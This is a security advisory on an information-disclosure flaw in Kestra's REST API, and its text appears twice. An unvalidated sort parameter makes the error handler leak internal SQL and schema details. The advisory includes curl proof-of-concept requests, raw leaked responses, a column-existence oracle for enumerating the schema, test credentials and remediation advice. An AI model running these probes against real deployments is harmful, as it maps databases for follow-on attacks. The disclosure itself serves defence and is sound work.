Description
Summary
Multiple JDBC-backed list/search endpoints in Kestra's REST API accept a client-supplied sort=<field>:<direction> query parameter and pass <field> straight into a jOOQ ORDER BY clause without validating it against a whitelist of sortable columns. When the field is not a real database column, the underlying PostgreSQL query throws a jOOQ DataAccessException, and Kestra's global error handler appends the raw exception message (e.getMessage()) to the HTTP 500 body for every unhandled Throwable. An authenticated user therefore receives:
- the full internal SQL statement (SELECT list,
FROM table, WHERE predicate structure including the multi-tenancy tenant_id predicate, window functions, pagination), and
- the PostgreSQL error revealing exact table and column names, plus a column-existence oracle (
ERROR: column "x" does not exist → 500 vs. HTTP 200 when the column exists), enabling full enumeration of Kestra's relational schema.
Because the identifier is emitted through jOOQ DSL.name() (which quotes/escapes it), this is not classic SQL injection - but it is a reliable, reproducible internal information disclosure (CWE-209) driven by missing input validation (CWE-20) on the sort field. The asymmetry is proven in the code and live: ExecutionController / MetricController pass a sort whitelist and correctly reject unknown fields with HTTP 422, while the affected endpoints pass no mapper and leak.
Details
The whitelist in PageableUtils.sort(...) only runs when a non-null sortMapper is supplied:
webserver/src/main/java/io/kestra/webserver/utils/PageableUtils.java:37-61
protected static Sort sort(List<String> sort, Function<String, String> sortMapper) {
return sort == null ? null : Sort.of(sort.stream().map(s -> {
String[] split = s.split(":");
if (split.length != 2) throw new HttpStatusException(422, "Invalid sort parameter");
String col = split[0];
if (sortMapper != null) { // <-- validated ONLY if a mapper is passed
String mapped = sortMapper.apply(col);
if (mapped == null) throw new HttpStatusException(422, "Invalid sort field: " + col);
col = mapped;
}
return split[1].equals("asc") ? Sort.Order.asc(col) : Sort.Order.desc(col);
}).toList());
}
Callers that omit the mapper (leak): LogController.java:103, FlowController.java:239 and :263, DashboardController.java:92, KV, and TriggerController.java:114 (mapper present but does not reject unknown fields → passthrough).
The unvalidated column reaches jOOQ ORDER BY:
jdbc/src/main/java/io/kestra/jdbc/AbstractJdbcRepository.java:294-309
String column = camelToSnake(property);
Field<Object> field = DSL.field(DSL.name(column)); // quoted identifier -> not SQLi, but DB error if column absent
select.orderBy(order.getDirection() == ASC ? field.asc().nullsFirst() : field.desc().nullsLast());
The verbose sink - the global handler echoes the raw exception message:
webserver/src/main/java/io/kestra/webserver/controllers/ErrorController.java:181-183, 234-244
@Error(global = true)
public HttpResponse<JsonError> error(HttpRequest<?> request, Throwable e) {
return jsonError(request, e, HttpStatus.INTERNAL_SERVER_ERROR, "Internal server error");
}
...
JsonError error = new JsonError(reason + (e.getMessage() != null ? ": " + e.getMessage() : ""));
Affected endpoints (confirmed live): GET /api/v1/{tenant}/logs/search, /triggers/search, /flows/search, /flows/source, /dashboards, /kv. Control endpoints that correctly validate: /executions/search, /metrics/* → HTTP 422.
PoC
Complete, reproducible instructions with real, unredacted values captured from a live run.
Environment. Kestra v1.3.37 at http://localhost:3031, basic-auth admin@kestra.io / Admin1234! (so Authorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=).
Step 1 - Baseline: a valid sortable column returns 200
curl -s -u 'admin@kestra.io:Admin1234!' -o /dev/null -w 'HTTP %{http_code}\n' \
'http://localhost:3031/api/v1/main/logs/search?size=1&sort=timestamp:desc'
Step 2 - Payload: a non-existent sort column leaks the full SQL + schema
Raw request:
GET /api/v1/main/logs/search?size=1&sort=SECRETPROBE:asc HTTP/1.1
Host: localhost:3031
Authorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=
Command:
curl -s -u 'admin@kestra.io:Admin1234!' \
'http://localhost:3031/api/v1/main/logs/search?size=1&sort=SECRETPROBE:asc'
Raw response:
HTTP/1.1 500 Internal server error
content-type: application/json
content-length: 676
{"message":"Internal server error: SQL [select *, count(*) over () as \"total_count\" from (select \"value\" from logs where (\"tenant_id\" = ? and (\"execution_kind\" is null or \"execution_kind\" = ?) and \"timestamp\" >= cast(? as timestamp with time zone)) order by \"s_e_c_r_e_t_p_r_o_b_e\" asc nulls first) as \"page\" where true offset ? rows fetch next ? rows only]; ERROR: column \"s_e_c_r_e_t_p_r_o_b_e\" does not exist\n Position: 222","logref":null,"path":null,"_links":{"self":{"href":"/api/v1/main/logs/search?size=1&sort=SECRETPROBE:asc","templated":false,"profile":null,"deprecation":null,"title":null,"hreflang":null,"type":null,"name":null}},"_embedded":{}}
The response discloses the complete internal query: the logs table, the value column, the tenant_id / execution_kind / timestamp predicates, the count(*) over () pagination window, and the exact PostgreSQL "column does not exist" error. (Note SECRETPROBE → s_e_c_r_e_t_p_r_o_b_e is jOOQ's camelToSnake, and the identifier is quoted - confirming this is disclosure, not SQL injection.)
Step 3 - Column-existence oracle (full schema enumeration)
# existing column -> 200
curl -s -u 'admin@kestra.io:Admin1234!' -o /dev/null -w 'sort=value:asc -> %{http_code}\n' \
'http://localhost:3031/api/v1/main/logs/search?size=1&sort=value:asc'
# absent column -> 500 + "column \"<x>\" does not exist"
curl -s -u 'admin@kestra.io:Admin1234!' -o /dev/null -w 'sort=zzqq:asc -> %{http_code}\n' \
'http://localhost:3031/api/v1/main/logs/search?size=1&sort=zzqq:asc'
sort=value:asc -> 200
sort=zzqq:asc -> 500
Iterating candidate column names and observing 200 vs 500 maps Kestra's entire relational schema.
Step 4 - Second table (triggers), and the control endpoint that validates
curl -s -u 'admin@kestra.io:Admin1234!' \
'http://localhost:3031/api/v1/main/triggers/search?size=1&sort=zzqq:asc'
Response message (verbatim):
Internal server error: SQL [select *, count(*) over () as "total_count" from (select "value" from triggers where "tenant_id" = ? order by "zzqq" asc nulls first) as "page" where true offset ? rows fetch next ? rows only]; ERROR: column "zzqq" does not exist
Position: 112
flows/search?sort=zzqq:asc behaves identically (500). Control - the validating endpoint rejects the same input instead of leaking:
curl -s -u 'admin@kestra.io:Admin1234!' -o /dev/null -w '%{http_code}\n' \
'http://localhost:3031/api/v1/main/executions/search?size=1&sort=zzqq:asc'
# -> 422 (Invalid sort field - the correct behaviour)
Differential summary (all captured live)
| Request (authenticated) |
Result |
logs/search?sort=timestamp:desc (valid) |
200 |
logs/search?sort=SECRETPROBE:asc (invalid) |
500 - full SQL of logs + schema leaked |
logs/search?sort=value:asc / sort=zzqq:asc |
200 / 500 (existence oracle) |
triggers/search?sort=zzqq:asc |
500 - full SQL of triggers leaked |
executions/search?sort=zzqq:asc (control) |
422 (validated - no leak) |
Impact
This is an information-disclosure vulnerability via verbose error messages.
- Internal information disclosure (CWE-209): leaks the exact internal SQL, table names (
logs, triggers, flows, dashboards, KV table), column names, the multi-tenancy tenant_id predicate, and the ordering/pagination implementation, to any authenticated caller.
- Schema-enumeration / column-existence oracle: an attacker maps Kestra's full relational schema by iterating candidate column names and observing 200 vs 500.
- Reduces the cost of, and provides reconnaissance for, follow-on attacks (targeted queries, injection research, understanding tenant-isolation columns).
- Not classic SQL injection -
DSL.name() quoting escapes breakout attempts (value" → rendered "value"""; (select version()) treated as a literal identifier).
Any authenticated user of an affected deployment is impacted; in RBAC editions any low-privilege user with read access to an affected list view can trigger it (the code path is edition-independent - core jdbc + webserver).
Remediation
- In
AbstractJdbcRepository.sort(...) reject any property not present in a per-repository set of allowed sortable columns before building the DSL.name(column) field - fail closed with a 4xx, never let it reach the database.
- Make every controller that exposes
sort pass a non-null sortMapper/whitelist to PageableUtils.from(...) (align LogController, FlowController, DashboardController, KV, and TriggerController's mapper to reject unknown fields as ExecutionController does).
- In
ErrorController.jsonError(...), do not append raw e.getMessage() for HTTP 500 / Throwable responses. Return a generic message plus a correlation id, and log the detail server-side only.
Description
Summary
Multiple JDBC-backed list/search endpoints in Kestra's REST API accept a client-supplied
sort=<field>:<direction>query parameter and pass<field>straight into a jOOQORDER BYclause without validating it against a whitelist of sortable columns. When the field is not a real database column, the underlying PostgreSQL query throws a jOOQDataAccessException, and Kestra's global error handler appends the raw exception message (e.getMessage()) to the HTTP 500 body for every unhandledThrowable. An authenticated user therefore receives:FROMtable,WHEREpredicate structure including the multi-tenancytenant_idpredicate, window functions, pagination), andERROR: column "x" does not exist→ 500 vs.HTTP 200when the column exists), enabling full enumeration of Kestra's relational schema.Because the identifier is emitted through jOOQ
DSL.name()(which quotes/escapes it), this is not classic SQL injection - but it is a reliable, reproducible internal information disclosure (CWE-209) driven by missing input validation (CWE-20) on thesortfield. The asymmetry is proven in the code and live:ExecutionController/MetricControllerpass a sort whitelist and correctly reject unknown fields withHTTP 422, while the affected endpoints pass no mapper and leak.Details
The whitelist in
PageableUtils.sort(...)only runs when a non-nullsortMapperis supplied:webserver/src/main/java/io/kestra/webserver/utils/PageableUtils.java:37-61Callers that omit the mapper (leak):
LogController.java:103,FlowController.java:239and:263,DashboardController.java:92, KV, andTriggerController.java:114(mapper present but does not reject unknown fields → passthrough).The unvalidated column reaches jOOQ
ORDER BY:jdbc/src/main/java/io/kestra/jdbc/AbstractJdbcRepository.java:294-309The verbose sink - the global handler echoes the raw exception message:
webserver/src/main/java/io/kestra/webserver/controllers/ErrorController.java:181-183, 234-244Affected endpoints (confirmed live):
GET /api/v1/{tenant}/logs/search,/triggers/search,/flows/search,/flows/source,/dashboards,/kv. Control endpoints that correctly validate:/executions/search,/metrics/*→HTTP 422.PoC
Complete, reproducible instructions with real, unredacted values captured from a live run.
Environment. Kestra v1.3.37 at
http://localhost:3031, basic-authadmin@kestra.io/Admin1234!(soAuthorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=).Step 1 - Baseline: a valid sortable column returns 200
Step 2 - Payload: a non-existent sort column leaks the full SQL + schema
Raw request:
Command:
Raw response:
{"message":"Internal server error: SQL [select *, count(*) over () as \"total_count\" from (select \"value\" from logs where (\"tenant_id\" = ? and (\"execution_kind\" is null or \"execution_kind\" = ?) and \"timestamp\" >= cast(? as timestamp with time zone)) order by \"s_e_c_r_e_t_p_r_o_b_e\" asc nulls first) as \"page\" where true offset ? rows fetch next ? rows only]; ERROR: column \"s_e_c_r_e_t_p_r_o_b_e\" does not exist\n Position: 222","logref":null,"path":null,"_links":{"self":{"href":"/api/v1/main/logs/search?size=1&sort=SECRETPROBE:asc","templated":false,"profile":null,"deprecation":null,"title":null,"hreflang":null,"type":null,"name":null}},"_embedded":{}}The response discloses the complete internal query: the
logstable, thevaluecolumn, thetenant_id/execution_kind/timestamppredicates, thecount(*) over ()pagination window, and the exact PostgreSQL "column does not exist" error. (NoteSECRETPROBE→s_e_c_r_e_t_p_r_o_b_eis jOOQ'scamelToSnake, and the identifier is quoted - confirming this is disclosure, not SQL injection.)Step 3 - Column-existence oracle (full schema enumeration)
Iterating candidate column names and observing 200 vs 500 maps Kestra's entire relational schema.
Step 4 - Second table (triggers), and the control endpoint that validates
Response message (verbatim):
flows/search?sort=zzqq:ascbehaves identically (500). Control - the validating endpoint rejects the same input instead of leaking:Differential summary (all captured live)
logs/search?sort=timestamp:desc(valid)logs/search?sort=SECRETPROBE:asc(invalid)logs+ schema leakedlogs/search?sort=value:asc/sort=zzqq:asctriggers/search?sort=zzqq:asctriggersleakedexecutions/search?sort=zzqq:asc(control)Impact
This is an information-disclosure vulnerability via verbose error messages.
logs,triggers,flows,dashboards, KV table), column names, the multi-tenancytenant_idpredicate, and the ordering/pagination implementation, to any authenticated caller.DSL.name()quoting escapes breakout attempts (value"→ rendered"value""";(select version())treated as a literal identifier).Any authenticated user of an affected deployment is impacted; in RBAC editions any low-privilege user with read access to an affected list view can trigger it (the code path is edition-independent - core
jdbc+webserver).Remediation
AbstractJdbcRepository.sort(...)reject anypropertynot present in a per-repository set of allowed sortable columns before building theDSL.name(column)field - fail closed with a 4xx, never let it reach the database.sortpass a non-nullsortMapper/whitelist toPageableUtils.from(...)(alignLogController,FlowController,DashboardController, KV, andTriggerController's mapper to reject unknown fields asExecutionControllerdoes).ErrorController.jsonError(...), do not append rawe.getMessage()forHTTP 500/Throwableresponses. Return a generic message plus a correlation id, and log the detail server-side only.